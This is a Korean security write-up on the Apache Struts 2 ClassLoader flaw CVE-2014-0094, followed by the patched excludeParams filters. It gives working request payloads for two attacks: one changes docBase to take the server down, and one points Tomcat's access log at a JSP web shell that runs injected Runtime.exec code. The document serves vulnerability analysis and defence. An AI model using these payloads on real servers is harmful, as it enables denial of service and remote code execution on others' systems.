# 취약점 정보 :
- CVE Number : CVE-2014-0094
- 영향을 받는 버전 : Struts 2.0.0 – Struts 2.3.16
- 공격가능성 : 서비스거부(DoS) 또는 임의의 코드 실행 가능
# Apache Struts 동작원리
해당 취약점은 일반적으로 Java ClassLoader는 security 모델을 통해 접근을 제한하고 있으나, 위와 같이 Apache Struts 가 제공하는 ParameterInterceptor를 이용하면 Java ClassLoader 오브젝트를 바로 접근하거나 사용할 수 있게 된다.
그럼 이용할 수 있는 Java ClassLoader 오브젝트들을 알아야 무엇을 할 지 결정할 수 있다. 아래와 같이 Tomcat 서버의 버전에 따라 Java ClassLoader를 통해서 접근할 수 있는 항목들에는 다소 차이가 있다.
# Tomcat 6 :
class.classLoader.searchExternalFirst
class.classLoader.clearReferencesLogFactoryRelease
class.classLoader.jarPath
class.classLoader.antiJARLocking
class.classLoader.clearReferencesStopThreads
class.classLoader.clearReferencesStopTimerThreads class.classLoader.clearReferencesHttpClientKeepAliveThread
class.classLoader.clearReferencesThreadLocals
class.classLoader.delegate
class.classLoader.defaultAssertionStatus
class.classLoader.resources.dirContext.docBase
…
# Tomcat 8 :
class.classLoader.resources.context.parent.pipeline.basic.domain
class.classLoader.resources.context.parent.pipeline.first.encoding
class.classLoader.resources.context.parent.pipeline.first.directory
class.classLoader.resources.context.parent.pipeline.first.checkExists
class.classLoader.resources.context.parent.pipeline.first.prefix
class.classLoader.resources.context.parent.pipeline.first.rotatable
class.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.classLoader.resources.context.parent.pipeline.first.buffered
class.classLoader.resources.context.parent.pipeline.first.suffix
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.classLoader.resources.context.parent.pipeline.first.locale
class.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.classLoader.resources.context.parent.pipeline.first.pattern
class.classLoader.resources.context.parent.pipeline.first.condition
class.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.classLoader.resources.context.parent.pipeline.first.conditionIf
class.classLoader.resources.context.parent.pipeline.first.enabled
class.classLoader.resources.context.parent.pipeline.first.asyncSupported
…
[출처: http://isayan.cocolog-nifty.com/diary/2014/04/s2-020.html]
# 공격시나리오 01 – 서비스거부(Denial of Service)
다음과 같이 웹서버 문서 파일의 ROOT 디렉토리 설정을 변경할 수 있는 DocBase 오브젝트가 존재한다.
# setDocBase
public void setDocBase(String docBase)
Set the document root for this component.
Parameters: docBase – The new document root
Throws:
IllegalArgumentException – if the specified value is not supported by this implementation
IllegalArgumentException – if this would create a malformed URL
다음과 같이 정상적으로 잘 동작하던 서버에 docBase값을 조작하는 공격 패킷을 전달하면, 그 이후로는 페이지 요청이 실패하게 된다.
http://[server]/struts2-blank/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=RRRR
[그림] HTTP 요청 전/후
# 공격시나리오 02 – 코드 실행 (또는 코드 인젝션)
[출처:http://sec.baidu.com/index.php?research/detail/id/18]
이번에는 Tomcat 8 서버에서 지원하는 접근로그 설정을 이용해서 임의의 코드를 실행할 수 있는 시나리오를 살펴보자.
# tomcat 8 에서 사용할 수 있는 접근로그 설정을 위한 대표적인 속성(Attribute)
- directory : 로그 파일이 위치할 디렉토리 경로.
- prefix : 생성될 로그 파일 이름의 prefix 지정.
- suffix : 생성될 로그파일 이름의 suffix 지정.
- fileDateFormat : 생성될 로그파일의 날짜 형식 지정.
이번에는 다음과 같은 파라미터를 HTTP 요청을 통해 ParameterInterceptor 에 전달함으로써, Tomcat 서버의 접근로그 속성을 변경시킨다.
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.classLoader.resources.context.parent.pipeline.first.prefix=shell class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
위의 공격결과는 디폴트로 접근로그가 쌓이던 위치과 파일명을 이제부터는 다음과 같이 공격자가 지정한 파일명으로 변경된 곳에 쌓이도록 만든다.
# 디폴트
root@bt:/var/lib/tomcat/logs#ls -al
-rw-r–r– 1 tomcat tomcat 262 2014-04-27 09:08 localhost_access_log.2014-04-27.txt
# 공격자 변경
root@bt:/var/lib/tomcat/webapps/ROOT
-rw-r–r– 1 tomcat tomcat 262 2014-04-27 09:08 shell1.jsp <— 접근 로그파일
이제 공격자는 다음과 같은 HTTP 요청을 서버에 전달한다. 이는 앞서 변경된 로그 파일 위치에 우리가 원하는 코드가 기록되도록 만든다. 알려진 PoC 에서는 Windows 기반서버를 사용하고 있어 계산기를(calc)를 실행시키는 코드를 사용하였으나, 우리는 리눅스 기반 서버이므로 간단하게 vi 명령을 이용해보자.
# Windows Server,
http://[server]/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec(“calc”);%>
#*nix Server,
http://[server]/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec(“vi test.txt”);%>
이제 서버의 로그파일인(shell1.jsp) 파일에는 다음과 같은 로그가 쌓이게 된다.
root@bt:/var/lib/tomcat/webapps/ROOT# cat shell1.jsp
0:0:0:0:0:0:0:1 – – [27/Apr/2014:08:51:42 -0400] “GET /struts2-blank/example/HelloWorld.action HTTP/1.1” 200 444
172.16.83.1 – – [27/Apr/2014:08:53:04 -0400] “GET /struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec(“vi test.txt”);%> HTTP/1.1″ 404 1045
마지막으로, 공격자가 다음과 같이 로그 파일인 shell1.jsp 파일을 요청하면, 그 안의 삽입된 코드가 실행된다.
http://[server]/shell1.jsp
root@bt:/var/lib/tomcat6/webapps/ROOT# ps -aux|grep vi
Warning: bad ps syntax, perhaps a bogus ‘-‘? See http://procps.sf.net/faq.html
tomcat 20484 0.0 0.4 10320 3532 ? S 09:08 0:00 vi test.txt <— 실행됨
root 21434 0.0 0.0 3372 748 pts/0 S+ 13:05 0:00 grep –color=auto vi
# 대응 방안
struts 이 제공하는 블랙리스트(excludeParam) 기반의 필터링을 강화하는 방법으로 2번의 패치가 제공되었다.
# version 2.3.16.1 :
– http://struts.apache.org/release/2.3.x/docs/s2-020.html
– ParameterInterceptor 를 통해 ClassLoader가 요청되는 것을 방지하기 위해 단순하게 “class” 가 excludeParams 에 추가됨.
<interceptor-ref name=”params”>
<param name=”excludeParams”>^class..*,^dojo..*,^struts..*,^session..*,^request..*,^application..*,^servlet(Request|Response)..*,^parameters..*,^action:.*,^method:.*</param>
</interceptor-ref>
– 이 경우, [] 를 통해서 요청하는 경우 우회가 가능하다.
# version 2.3.16.2 :
– http://struts.apache.org/release/2.3.x/docs/s2-021.html
– 2.3.16.1 버전의 문제를 해결하기 위해 다음과 같이 우회방법을 방어할 수 있도록 excludeParams 를 강화함.
<interceptor-ref name=”params”>
<param name=”excludeParams”>(.*.|^|.*|[('|”))(c|C)lass(.|('|”)]|[).*,^dojo..*,^struts..*,^session..*,^request..*,^application..*,^servlet(Request|Response)..*,^parameters..*,^action:.*,^method:.*</param>
</interceptor-ref>
– 추가적으로, CookieInterceptor 를 통한 ClassLoader 접근을 방어하는 방법도 추가됨.